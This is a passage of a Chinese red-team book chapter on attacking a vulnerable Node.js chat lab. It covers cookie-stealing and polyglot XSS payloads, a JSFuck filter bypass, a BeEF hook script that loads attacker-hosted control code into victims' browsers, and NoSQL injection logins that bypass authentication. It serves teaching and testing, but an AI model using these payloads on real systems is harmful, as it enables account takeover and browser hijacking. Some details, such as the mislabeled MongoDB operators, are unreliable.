\n在攻击者Kali虚拟机上编辑主机文件，通过主机名或者IP地址指向被攻击的应用程序。\ngedit/etc/hosts\n添加以下行，IP地址指向被攻击的应用程序。\n[存在漏洞应用程序IPAddr] chat\n现在，在Kali的浏览器中访问http://chat:3000/。如果一切正常，您应该能够看到Node.js自定义漏洞应用程序。\n本节的命令和攻击方法可能非常多而且复杂。为了方便起见，我在下面文件中列出了每个实验所需的所有命令。\nhttps://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt。\n3.2.1 红队网站应用程序攻击\n本书的前两个版本着重于介绍如何有效地测试网站应用程序，这个版本则有所不同。我们将跳过许多基本的攻击方式，重点介绍现实世界中使用的攻击方式。\n由于这是一本实战性很强的书，因此我们不会详细介绍网站应用程序测试的所有细节。但是，这并不意味着所有细节都会被忽略。有一个很好的Web 应用程序测试信息的资源是 Open Web Application Security Project（OWASP）。OWASP主要是在应用程序安全性方面引导和教育用户。每隔几年，OWASP会编制一份常见问题清单并将其发布给公众。由于许多读者都试图进入安全领域，因此我想提醒大家的是，如果您想从事渗透测试工作，那么至少必须知道OWASP安全威胁的前十名。您不仅应该知道前十大漏洞是什么，还应能够根据风险的类型举出每个漏洞的例子，并且知道如何发现这些漏洞。现在，让我们来模拟演示如何突破网络空间猫公司。\n3.2.2 聊天支持系统实验\n将受到攻击的聊天支持系统实验构建为交互式，特点是包括新旧漏洞。正如您看到的，在下面的实验中，我们提供了一个具有聊天支持系统的定制版本的虚拟机。\n应用程序本身是用Node.js编写的。为何选择Node？作为渗透测试人员，Node是发展速度较快的应用程序之一。由于许多开发人员似乎非常喜欢Node，因此我觉得了解后端代码JavaScript运行时存在的安全隐患非常重要。\n什么是Node\nNode.js是一个基于Chrome的V8 JavaScript引擎，实时运行JavaScript代码。由于Node.js是事件驱动的非阻塞I/O模型，因此具有小巧和高效的特点。Node.js的包生态系统NPM是一个开源库生态系统。\nNode.js的基本功能是允许您在浏览器之外运行JavaScript。由于Node.js具有精简、快速和跨平台的特点，因此它可以通过统一堆栈简化项目。虽然Node.js不是网站服务器，但它可以在服务器（您可以用JavaScript编程）环境运行，而不只是网站客户端。\n其优点包括以下几点。\n非常快。\n单线程JavaScript环境，可以充当独立的Web应用程序服务器。\nNode.js不是协议，它是一个用JavaScript编写的Web服务器。\nNPM目前有近50万个免费的、可重用的Node.js代码包。\n随着Node.js在过去几年变得越来越受欢迎，对于渗透测试人员/红队来说，了解要查找的内容以及如何攻击这些应用程序变得非常重要。例如，一位研究人员发现，弱NPM凭证使得他能够编辑/发布13%的NPM包。通过依赖链，大约有52%的NPM包容易受到攻击。\n在以下示例中，我们的实验将使用Node.js语言作为应用程序开发的基础，使用Express框架作为Web服务器。然后，我们将Pug模板引擎添加到Express框架中，如图3.3所示。这类似于新开发Node.js应用程序使用的模式。\n图3.3\nExpress是采用Node.js语言的小型化网站框架。Express为网站和移动应用程序提供了一组强大的功能，您无须做很多事情。使用名为Middlewares的模块可以添加第三方认证或服务，例如Facebook认证或者Stripe支付处理服务。\nPug 的正式名称为Jade，是一种服务器端模板引擎，您可以（但不必）与Express一起使用。Jade在服务器上自动生成HTML并将其发送到客户端。\n我们开始模拟攻击聊天支持系统，首先启动聊天支持系统虚拟机。\n3.3 网络空间猫公司：聊天支持系统\n假如您偶然发现了网络空间猫聊天支持系统对外开放。当您慢慢浏览所有页面时，可以了解底层系统，并在应用程序中查找弱点。您需要在服务器中找到第一个入口，从而进入生产环境。\n您首先浏览所有漏洞扫描程序和网站应用程序产生的扫描程序报告，但是毫无收获。看来这家公司定期运行常用的漏洞扫描程序并修补了大部分问题。系统突破现在依赖于编码问题、错误配置和逻辑缺陷。您还注意到此应用程序正在运行Node.js，这是一种目前非常流行的语言。\n3.3.1 搭建您的网站应用程序攻击主机\n虽然针对网站应用程序，红队没有完整的工具清单，但您需要配备的一些基本工具包括以下几种。\n配备多个浏览器。许多浏览器的响应方式、行为都不同，尤其是在复杂的XSS规避方面。 \nFirefox（我常用的测试浏览器）\nChrome\nSafari\nWappalyzer：一种跨平台的实用程序，可以发现网站应用的技术。它可以检测内容管理系统、电子商务平台、网站框架、服务器软件和分析工具等。\nBuiltWith：网站分析器工具。在查找页面时，BuiltWith会返回它在页面上可以找到的所有技术。BuiltWith的目标是帮助开发人员、研究人员和设计人员找出页面正在使用的技术，这可以帮助他们决定自己要采用什么技术。\nRetire.js：扫描Web应用程序，发现易受攻击的JavaScript库。Retire.js的目标是帮助您检测已知漏洞的版本。\nBurp Suite：虽然这个商业工具有点贵，但对于渗透测试者/红队来说绝对物有所值。它的主要优点是附加组件、模块化设计和用户开发基础。如果您觉得Burp价格太高，那么OWASP ZAP（免费）也许是一个很好的替代品。\n3.3.2 分析网站应用程序\n在进行任何类型的扫描之前，尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么程序？我们可以使用Wappalyzer、BuiltWith或者Google Chrome浏览器。在图3.4中，当加载聊天应用程序时，我们可以看到HTTP头中包括X-Powered By：Express。使用Wappalyzer，我们还可以发现应用程序正在使用Express和Node.js。\n图3.4\n在盲目攻击网站之前，了解应用程序可以帮助您找到更好的方法。对于那些可能配备网站应用程序防火墙的目标站点，了解应用程序同样会帮助您隐蔽更多的攻击行为。\n3.3.3 网络发现\n在本书前两版中，我们详细介绍了如何使用Burp Suite以及如何对站点进行渗透测试。我们将跳过很多设置的基础知识，并更多地关注攻击网站。\n在这一点上，我们假设您已经设置了Burp Suite（免费版或付费版），并且您使用的是本书的 Kali虚拟机镜像。一旦掌握了网站的底层系统，就需要识别所有端点。我们仍然需要运行之前使用的检测工具。\n（1）Burp Suite。\nSpidering：无论是免费版还是付费版，Burp Suite都有一个很棒的爬虫工具。\n内容发现：如果您使用的是付费版本的Burp Suite，则Engagement是一个较受欢迎的发现工具。这是一个智能高效的探测工具，可以查找目录和文件，而且可以指定多个不同的扫描配置。\n主动扫描：对所有参数进行自动漏洞扫描，并测试多个网站漏洞。\n（2）OWASP ZAP。\n类似于Burp，但是完全开源并且免费。具有类似的发现和主动扫描功能。\n（3）Dirbuster。\n一个永久存在的工具，用于发现Web应用程序的文件/文件夹，效果不错。\n目标网址：http://chat:3000。\n字典。 \n/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt\n（4）GoBuster。\n非常轻量级、快速的目录和子域名“爆破”工具。\ngobuster -u http://chat:3000 -w/opt/SecLists/Discovery/Web-Content/raft-small- directories.txt -s 200,301,307 -t 20。\n字典非常重要。我喜欢使用的是一个名为raft的旧字典，它来自于多个开源项目。\n现在简要介绍一下攻击的整个过程。从红队的角度来看，我们要查找可以主动攻击的漏洞，并提供最大的帮助。如果进行审计或者渗透测试，那么我们可能会报告漏洞扫描程序中发现的SSL漏洞、默认Apache页面或不可利用的漏洞。但是对于红队来说，我们可以完全忽略这些，专注于获得高权限、Shell或个人身份信息。\n3.3.4 跨站脚本（XSS）\n查看并测试跨站脚本（XSS）漏洞。使用传统的XSS攻击方法<script>alert(1) </script>，测试网站上的每个变量，这对于漏洞悬赏项目非常有帮助，但我们还可以做什么？我们可以使用哪些工具和方法更好地完成这些攻击？\n因为我们都知道XSS攻击是客户端攻击，允许攻击者定制网站请求，将恶意代码注入响应数据包中。这个问题通常可以通过客户端和服务器端的正确输入验证进行修复，但是实际上并不是那么容易。为什么？这是由多种原因造成的，例如，编码质量不高、框架不熟悉，应用程序过于复杂，导致很难了解输入的位置。\n因为警报弹出框确实没有真正的危害，所以让我们开始一些基本类型的XSS攻击。\nCookie窃取XSS。\n强制下载文件。\n重定向用户。\n其他脚本启用键盘记录器和拍摄照片等。\nXSS静荷混淆/多语言\n目前，标准的XSS静荷仍然可以正常运行，但我们确实会发现应用程序阻止某些字符，或者在应用程序前面有网站应用防火墙。\n在评估期间，您有时候可能会遇到简单的XSS过滤器，它们会查找<script>之类的字符串。混淆XSS静荷是一种选择，但是同样需要注意的是，并非所有JavaScript静荷都需要打开和关闭<script>标记。有一些HTML事件属性在触发时执行JavaScript，这意味着任何只针对Script标签的规则毫无用处。例如，执行JavaScript的这些HTML事件属性位于<script>标记之外。\n<b onmouseover=alert('XSS')>Click Me!</b>。\n<svg onload=alert(1)>。\n<body onload=\"alert('XSS')\">。\n<img src=\"http://test.cyberspacekittens.com\"onerror=alert(document.cookie);>。\n您可以通过访问应用程序（记得修改/etc/host文件，指向虚拟机应用程序），尝试针对聊天支持系统应用程序中的每个HTML实体实施攻击。访问聊天支持系统后，注册一个账户，登录该应用程序，然后访问聊天功能。您可以尝试不同的实体攻击和混淆的静荷，如图3.5所示。\n图3.5\n其他XSS资源如下。\n第一个是由@jackmasa制作的思维导图，如图3.6所示。这是一个很棒的文档，它根据输入的位置分解不同的XSS静荷。\n图3.6 JackMasa跨站脚本思维导图\n另一个资源介绍了各种浏览器容易受到哪些XSS静荷的攻击：HTML5 Security Cheatsheet。\n正如您所看到的，尝试在应用程序中查找各种XSS漏洞很烦琐，这是因为静荷的参数受代码功能、不同类型的HTML标记、应用程序类型和不同类型的过滤机制影响。尝试找到最初的XSS弹出窗口可能需要很长的时间。如果我们尝试将多个静荷放到单个请求中，会怎么样呢？\n这种类型的静荷称为多语言静荷（Polyglot）。Polyglot静荷采用多种不同类型的静荷/混淆技术，并将它们编译成一个静荷。这种静荷对于采用自动脚本查找XSS，有限时间的漏洞悬赏项目或者仅仅快速查找输入验证问题非常有帮助。\n因此，我们可以不使用常规的<script>alert(1)</script>，而是构建下面的多语言静荷。\n/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/ </scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e。\n如果您查看上面的静荷，那么这个静荷尝试采用注释、点和斜线规避检测；执行onclick XSS；关闭多个标签；最后尝试onload XSS攻击方法。集成这些类型的攻击方法使Polyglots在识别XSS方面非常高效。\n如果您想测试和使用不同种类的多语言静荷，那么可以从易受攻击的XSS页面或聊天应用程序开始。\n3.3.5 BeEF\n浏览器漏洞利用框架（BeEF）将XSS攻击提升到新的层面。这个工具将JavaScript静荷注入被攻击者的浏览器，感染用户的系统。这会在被攻击者的浏览器上创建一个命令和控制通道，以便JavaScript后期利用。\n从红队的角度来看，BeEF是一个很好的工具，可用于各类攻击行动中，包括跟踪用户、捕获凭据、执行单击劫持和钓鱼攻击。即使不用在攻击场景，BeEF也是一个很好的工具，可以展示XSS漏洞的巨大危害。BeEF对于更复杂的攻击也有帮助，我们将在后面的盲XSS攻击中进行讨论。\nBeEF 分为两部分：一部分是服务器，另一部分是攻击静荷。启动服务器的步骤如下。\n在您的攻击Kali主机上启动BeEF。\n终端。 \nBeEF-xss\nBeEF鉴权beef:beef。\n查看http://127.0.0.1:3000/hook.js。\n完整静荷钩子文件如下。 \n<script src=\"http://<Your IP>:3000/hook.js\"></script>\n查看位于http://127.0.0.1:3000/hook.js上的hook.js文件，您将看到很长的、像是JavaScript的混淆代码。这是被攻击者客户端静荷，用于回连命令和控制服务器。\n一旦在目标应用程序上找到XSS漏洞，不要使用原始的alert(1)样式静荷，您可以修改<script src=\"http://<Your IP>:3000/hook.js\"></script>静荷来利用此漏洞。一旦被攻击者执行这个静荷，其浏览器将成为“僵尸”网络的一部分。\nBeEF支持哪些类型的后期攻击？一旦被攻击者在您的控制之下，您就可以做任何JavaScript可以做的事情。您可以通过HTLM5打开相机并拍摄被攻击者的照片，可以在屏幕上叠加图片以捕获凭据，也可以将其重定向到恶意网站以执行恶意软件。\n以下是BeEF基于XSS漏洞、开展攻击的过程展示。\n首先，确保BeEF服务器运行在攻击者计算机上。在聊天支持系统的应用程序（存在漏洞）中，您可以访问http://chat:3000/xss并在练习2中输入您的静荷。\n<script src=\"http://127.0.0.1:3000/hook.js\"></script>\n一旦被攻击者连接到僵尸网络，您就可以完全控制其浏览器。您可以在设备、浏览器和启用的功能基础上，开展各种类型的攻击。采用社会工程策略，通过Flash Update提示推送恶意软件，可以很好地演示XSS攻击过程，如图3.7所示。\n图3.7\n执行攻击后，在被攻击者的计算机上显示弹出窗口，引诱安装更新软件，其中包含附加的恶意软件，如图3.8所示。\n图3.8\n本书建议您花一些时间研究所有BeEF的后期利用模块，并了解JavaScript的强大功能。因为我们已经控制了目标的浏览器，所以需要弄清楚如何在红队活动中发挥作用。在发现了 XSS 漏洞并感染了目标主机，您还想做些什么？我们将在下一部分讨论这个问题。\n3.3.6 盲XSS\n盲XSS很少被讨论，因为它需要用户极大的耐心。什么是盲XSS？顾名思义，盲XSS是指执行存储的XSS静荷时，攻击者/用户看不到回显结果，仅有管理员或者后端工作人员才能看到。虽然这种攻击方式对于后端用户可能是非常致命的，但它经常会被遗漏。\n假设某个应用程序有一个“联系我们”的页面，允许用户向管理员提供联系信息，以便以后联系。由于该数据的结果只能由管理员手动查看，因此请求用户是看不到的，如果应用程序存在XSS漏洞，则攻击者不会立即看到“alert(1)”的攻击效果。在这些情况下，我们可以使用XSS Hunter工具，验证盲XSS。\nXSS Hunter的工作原理是，当JavaScript静荷执行时，截取被攻击者屏幕（他们正在查看的当前页面），并将屏幕截图发送回XSS Hunter的站点。当收到屏幕截图后，XSSHunter将发送静荷已执行的通知，并提供所有的详细信息。我们现在可以创建一个恶意的静荷，重新开始攻击。\n禁用任何代理（Burp Suite）。\n在XSS Hunter上创建账户。\n登录XSS Hunter。\n跳到静荷页面，选择静荷。\n修改静荷，以便适应您的攻击方式或者构建多语言静荷，如图3.9所示。\n检查XSS Hunter，查看静荷执行情况，如图3.10所示。\n图3.9\n图3.10\n3.3.7 基于文档对象模型的跨站脚本攻击\n理解反射和存储的跨站脚本（XSS）攻击相对简单。正如我们所了解的，服务器没有对用户/数据库的输入/输出进行充分验证，导致恶意脚本代码通过网站源代码形式呈现给用户。但是，在基于文档对象模型（DOM）的XSS攻击中，有些不同的地方，使用户产生了一些常见的误解。因此，我们需要花些时间来了解基于DOM的XSS。\n当攻击者操纵网站应用程序的客户端脚本时，可以采用基于DOM的XSS攻击方式。如果攻击者将恶意代码注入文档对象模型中，并且强制客户端的浏览器读取恶意代码，则静荷将在读取数据后执行。\nDOM究竟是什么？文档对象模型（DOM）是HTML属性的表示方法。由于您的浏览器无法解析这种HTML属性，因此需要解释器将HTML属性转化为DOM。\n让我们浏览一下聊天支持网站。查看存在漏洞的网站应用程序，您应该能够看到聊天站点存在XSS漏洞。\n创建一个账户。\n登录。\n跳到聊天页面。\n输入<script>alert(1)</script>，然后输入一些疯狂的XSS静荷！\n在示例中，我们在服务器端配置Node.js环境，socket.io（Node.js的库）在用户和服务器之间创建Web套接字，客户端支持JavaScript和msg.msgText JavaScript脚本。正如图3.11和页面的源代码所示，您不会看到“警报”对话框直接弹出静荷，而在标准的反射/存储的 XSS 可以看到。在这里，我们收到的唯一提示表明来自于msg.name引用的静荷可能被调用了。有时候我们很难推断出静荷执行的位置，或者是否需要跳出HTML标记执行静荷。\n图3.11\n3.3.8 Node.js中的高级跨站脚本攻击\nXSS漏洞反复出现的一个重要原因是，仅通过过滤标签或某些字符的方式很难防范该攻击方式。当静荷针对特定语言或框架进行定制时，XSS很难防御。每种语言在漏洞利用方面都有其独特之处，Node.js也是这样。\n在本节中，您将看到一些特定语言如何实现XSS漏洞的例子。Node.js网站应用程序使用一种更常见的Web堆栈和配置文件。实现方式包括Express框架和Pug模板引擎。需要注意的是，默认情况下，除非通过模板引擎进行渲染，否则Express确实没有内置的XSS防护机制。当使用像Pug这样的模板引擎时，有两种常见的方法可以找到XSS漏洞：通过字符串插值和缓冲代码。\n模板引擎有一个字符串插值的概念，这是表示字符串变量占位符的一种奇特方式。例如，我们可以用Pug模板格式为变量指定一个字符串。\n\\- var title = \"This is the HTML Title\"\n\\- var THP = \"Hack the Planet\"\nh1 #{title}\np The Hacker Playbook will teach you how to #{THP}\n注意，＃{THP}是THP之前分配变量的占位符。我们通常看到这些模板用于电子邮件分发消息。您是否收到过自动系统转发的电子邮件，内容是Dear ${first_name}…，而不是您的真实名字？这正是模板引擎运行的方式。\n当上面的模板代码呈现为HTML时，它将如下所示。\n<h1>This is the HTML Title</h1>\n<p>The Hacker Playbook will teach you how to Hack the Planet</p>\n幸运的是，在这种情况下，我们使用“＃{}”字符串插值，这是Pug插值的转义版本。如您所见，通过使用模板，我们可以创建可重用的代码，而且模板非常轻巧。\nPug 支持转义和非转义字符串插值。转义和未转义之间的区别是什么？好吧，使用转义字符串插值将对<、>、'和“等字符进行HTML编码。这将有助于对用户输入进行验证。如果开发人员使用非转义字符串插值，那么通常会导致XSS漏洞。\n此外，字符串插值（变量插值、变量替换或变量扩展）用于评估一个或多个占位符的字符串文字，结果是其中占位符替换为其对应的值。\n在Pug中，转义和非转义字符串插值介绍如下。 \n！{}，非转义字符串插值\n＃{}，虽然转义字符串插值是转义的，但是，如果直接通过JavaScript传递它，仍然可能存在XSS漏洞\n在JavaScript中，未转义的缓冲区代码以“！=”开头。“！=”之后的任何内容都将自动作为JavaScript执行。\n只要允许插入原始HTML，就可能存在XSS漏洞。\n在现实世界中，我们已经看到许多存在XSS漏洞的案例，原因是开发人员忘记了代码所处的上下文以及输入被传递的位置。让我们看看存在漏洞的聊天支持系统应用程序中的一些示例。访问虚拟机上的URL地址：http://chat:3000/xss。我们将逐步完成每一个练习来了解Node.js/Pug XSS。\n练习1（http://chat:3000/xss）\n在本例中，我们将字符串插值转义为段落标记。这是不可利用的，因为我们在HTML段落上下文中使用了正确的转义字符串插值符号。\n访问http://chat:3000/xss，然后单击Exercise #1。\nPug模板源代码。 \np No results found for #{name1}\n尝试输入并提交以下静荷。 \n<script> alert(1)</script>\n单击Exercise #1并查看，无结果输出。\n查看HTML响应（查看页面的源代码），如图3.12所示。 \n&＃x3C; script&＃x3E; alert(1)&＃x3C;/script&＃x3E;\n图3.12\n单击提交后，查看页面源代码（<Ctrl + U>组合键）并搜索单词“alert”，您将看到静荷的特殊字符转换为HTML实体。在浏览器中，可以看到脚本标记，但没有呈现为JavaScript。这种字符串插值的使用方式是正确的，并且确实没有办法突破这个场景来找到XSS漏洞。下面让我们看一些糟糕的实现。\n练习2\n在本例中，我们在段落标记中使用“!{}”表示非转义字符串插值。这种方式容易存在XSS漏洞。任何基本的XSS静荷都会触发漏洞，例如<script>alert(1)</script>。\n跳到练习＃2。\nPug模板源代码。 \np No results found for !{name2}\n尝试输入静荷。 \n<script>alert(1)</script>\n回应。 \n<script>alert(1)</script>\n单击提交后，我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证，如图3.13所示。\n因此，当提交用户输入时，使用非转义字符串插值（!{name2}）会导致很多麻烦。这是一种糟糕的做法，不能用于处理用户提交的数据。输入的任何JavaScript代码都将在被攻击者的浏览器上执行。\n图3.13\n练习3\n在这个例子中，我们在动态内联JavaScript中转义了字符串插值。这意味着代码受到保护，因为它被转义了，对吧？未必。这个例子存在漏洞，原因是输入所处的代码上下文。我们在Pug模板中看到，在转义插值之前，我们实际上是在一个脚本标记内。因此，任何JavaScript（即使是转义的）都会自动执行。因为在脚本标记内，所以静荷中不需要<script>标记。我们可以直接使用JavaScript，例如alert(1)。\n（1）跳到示例＃3。\n（2）Pug模板源代码。\nPug。 \nvar user3 = #{name3};\np No results found for #{name3}\n（3）此模板将解析成下面的HTML格式。\n<script>。\n<p>No results found for [escaped user input]</p>。\n</script>。\n（4）尝试输入静荷。\n1;alert(1)。\n（5）单击提交后，我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。\n有一个小小的改变，正确的写法是在插值周围添加引号。\n（6）Pug模板源代码。\nscript。 \nvaruser3 =“＃{name3}”\n练习4\n在这个例子中，Pug非转义代码由“! =”表示，因为没有转义，所以程序很容易受到 XSS 攻击的影响。因此，在这种情况下，我们可以在输入字段添加简单的“<script> alert(1)</script>”样式实施攻击。\nPug模板源代码。 \np != 'No results found for '+name4\n尝试输入静荷。 \n<script>alert(1)</script>\n单击提交后，我们可以看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。\n练习5\n假设我们访问一个使用转义字符串插值和某种类型过滤的应用程序。在下面的练习中，我们在Node.js服务器中执行最小的黑名单过滤脚本，删除“<”“>”和“alert”等字符。但是，再次错误地将转义字符串插值放在脚本标记中。如果可以在那里放置JavaScript脚本，就可以实施XSS攻击。\n跳到示例＃5。\nPug模板源代码。 \nname5 = req.query.name5.replace(/[;'\"<>=]|alert/g,\"\")\nscript\nvaruser3 =＃{name5};\n尝试输入静荷。 \n尝试使用alert(1)，但由于过滤器，这个操作并起作用。还可以尝试<script>alert(1) </script>，但是转义代码和过滤器阻止执行。如果想执行alert(1)静荷，那么该如何做呢？\n我们需要弄清楚如何规避过滤器，插入原始JavaScript。JavaScript非常强大并且具有很多功能。我们可以利用这些功能来生成一些有创意的静荷。规避这些过滤器的一种方法是使用深奥的JavaScript表示法。这可以在JSFuck的站点创建。正如您下面看到的，通过使用中括号、小括号、加号和感叹号，我们可以重新创建规则alert(1)。\nJSFuck静荷。\n[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]) [!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()\n如您所知，许多浏览器已开始集成XSS防护机制。我们已经使用这些静荷来绕过某些浏览器保护机制，如图3.14所示。在Kali之外，您可以尝试在实际使用的浏览器中加载这些静荷，例如Chrome。\n图3.14\n对于复杂的应用程序，很难保证不出现XSS漏洞。对于框架如何处理输入和输出，很容易出现理解错误或者忘记处理的情况。因此，在对Pug/Node.js应用程序执行源代码审查时，在源代码中搜索 !{、＃{或`$ {有助于找到XSS的位置。了解代码上下文以及是否需要在该上下文中进行转义至关重要，我们将在后面的示例中认识到这一点。\n虽然上面的攻击方式是针对Node和Pug系统的，但是其实每种语言都存在XSS漏洞和输入验证的问题。您不需要运行漏洞扫描程序或XSS模糊测试工具，找到所有XSS漏洞，您需要做的是了解所使用的语言和框架。\n3.3.9 从XSS漏洞到突破目标\n我经常遇到的一个问题是，如何从 XSS 漏洞拓展，实现获取 Shell？虽然有很多不同的方式实现这个目标，但我们通常会发现，如果可以在内容管理系统（CMS）或类似设备中找到用户-管理员类型的XSS，那么就能够完全突破系统。全部的演示示例和代码可以在Hans-Michael Varbaek处获取。Hans-Michael提供了一些关于从XSS漏洞到远程执行攻击的精彩示例和视频。\n我喜欢使用自定义红队攻击方式，主要是借助JavaScript的功能。我们通过BeEF（Browser Exploitation Framework，浏览器开发框架）了解到JavaScript非常强大。因此，我们可以利用所有这些功能，对不知情的被攻击者实施攻击。这个静荷会做什么？攻击的一个示例是让被攻击者的计算机运行JavaScript XSS静荷，获取被攻击者的内部（自然）IP地址。然后，我们基于这些 IP 地址，使用静荷扫描其内部网络。如果找到了一个已知的 Web应用程序，那么在不进行身份验证的情况下即可突破，我们可以发送恶意静荷到该服务器。\n例如，我们的目标可能是Jenkins服务器，在未经身份验证的情况下，可以完成远程代码的执行。要查看XSS与Jenkins突破的完整过程，可参阅第5章中关于使用社会工程学渗透内部Jenkins服务器的内容。\n3.3.10 NoSQL数据库注入\n在本书的前两版中，我们花费相当长的时间介绍如何使用SQLMap进行SQL注入。除增加一些混淆以及集成到Burp Suite工具以外，本书与第2版在这方面相比没有太大变化。但是我想深入研究NoSQL注入，因为这些数据库变得越来越普遍。\nMySQL、MS SQL和Oracle等传统SQL数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的，这意味着一个表中的数据与其他表中的数据有关。这使执行查询操作很方便，例如“给我列出所有在过去30天内购买东西的客户”。这些数据的问题在于整个数据库中数据的格式必须保持一致。NoSQL数据库中的数据通常不遵循SQL查询数据库中的表格/关系模型。这些数据称为“非结构化数据”（如图片、视频和社交媒体），并不适用于我们大量收集数据。\nNoSQL特性如下。\nNoSQL数据库类型：Couch/MongoDB。\n非结构化数据。\n水平增长。\n在传统的SQL注入中，攻击者会尝试跳出SQL查询，并在服务器端修改查询操作。使用NoSQL注入，攻击可以在应用程序的其他区域中执行，而不是在传统的SQL注入中执行。此外，在传统的SQL注入中，攻击者会使用标记来跳出语句。在NoSQL注入攻击中，NoSQL漏洞通常是由于字符串解析或者赋值操作造成的。\nNoSQL注入中漏洞通常在以下情况下发生：向NoSQL数据库提出请求，端点接收JSON数据；我们能够操纵NoSQL查询，使用比较运算符更改操作查询。\nNoSQL注入的一个常见例子是注入以下的数据：[{\"$gt\":\"\"}]。这个JSON对象的含义是运算符（$gt）大于NULL (\"\")。由于逻辑上所有内容都大于NULL，因此JSON对象始终是正确的，允许我们绕过或注入NoSQL查询。这相当于SQL注入中的[' 或者 1=1--]。在MongoDB中，我们可以使用以下条件运算符之一。\n(>) 大于 - $gt。\n(<) 小于 - $lt。\n(>=) 小于或等于 - $gte。\n(<= ) 小于或等于 - $lte。\n1．攻击客户支持系统NoSQL应用程序\n我们来了解聊天应用程序中的NoSQL工作流程。\n在浏览器中，通过Burp Suite进行代理，访问聊天应用程序：http://chat:3000/nosql。\n尝试使用任何用户名和密码进行身份验证。查看在Burp Suite中的身份验证请求期间发送的POST流量，如图3.15所示。\n图3.15\n在聊天应用程序中，我们看到对/loginnosql端点进行身份验证期间，POST数据中包含{“username”：“admin”，“password”，“GuessingAdminPassword”}。在POST请求中使用JSON格式验证用户是很常见的，但是如果定义自己的JSON对象，我们可能使用不同的条件语句来确保条件始终为真。这实际上类似于传统的SQLi 1 = 1语句，从而绕过身份验证。下面让我们来了解是否可以注入应用程序。\n2．服务器源代码\n在聊天应用程序的NoSQL部分，我们将看到类似的JSON POST请求。即使这样，作为黑盒测试，看不到服务器端的源代码，我们期望以下面类似的方式查询MongoDB后端。\ndb.collection(collection).find({\"username\":username,\"password\":password}).limit(1)…。\n3．注入NoSQL聊天应用程序\n正如从服务器端源代码中看到的那样，我们将使用用户提供的用户名/密码，搜索数据库，查找匹配项。如果能够修改POST请求，那么我们或许可以实施数据库查询注入，如图3.16所示。\n在浏览器中，通过Burp Suite进行代理，访问聊天应用程序：http://chat:3000/nosql。\n在Burp Suite中打开“Intercept”，单击Login，然后以管理员身份提交用户名，并输入密码GuessingAdminPassword。\n代理程序接收流量并拦截POST请求。\n修改{\"username\":\"admin\",\"password\", \"GuessingAdminPassword\"}内容为{\"username\": \"admin\",\"password\":{\"$gt\":\"\"}}。\n您现在可以以管理员身份登录！\n图3.16\n发生了什么？我们将字符串“GuessingAdminPassword”更改为JSON对象{\"$gt\":\"\"}，这是正确的语句，因为所有的元素均大于NULL。将POST请求更改为{“username”:“admin”, “password”:TRUE}，使得请求始终正确，并以管理员身份登录而不需要知道密码，复制了SQLi中1=1攻击方式。\n4．高级NoSQLi注入攻击\nNoSQL注入攻击并不是新的攻击方式，在本章的目的是，展示新的框架和语言如何隐蔽地引入新的漏洞。例如，Node.js有一个qs模块，该模块具有特定的语法，用于将HTTP请求参数转换为JSON对象。默认情况下，qs模块是Express中'body-parser'中间件的一部分。\nqs模块：查询和解析字符串库，增加了一些安全性。\n这意味着什么？如果使用了qs模块，并且在参数中使用括号表示法，POST请求将在服务器端转换为JSON。因此，一个POST请求，例如username[value]=admin&password [value]=admin将转换为{\"username\": {\"value\":\"admin\"}, \"password\":{\"value\":\"admin\"}}。现在，qs模块协助NoSQLi接收并转换POST。\n例如，我们可以发出如下的POST请求。 \nusername=admin&password[$gt]\n服务器端请求转换变成如下形式。 \n{\"username\":\"admin\", \"password\":{\"$gt\":\"\"}\n这看起来类似于之前的NoSQLi攻击。\n现在，我们的请求看起来与上一节中的NoSQLi请求是一致的。让我们看看实际操作，如图3.17所示。\n访问http://chat:3000/nosql2。\n启用Burp Intercept。\n输入admin:anything登录。\n修改POST参数。\nusername = admin&password [$ gt] =&submit = 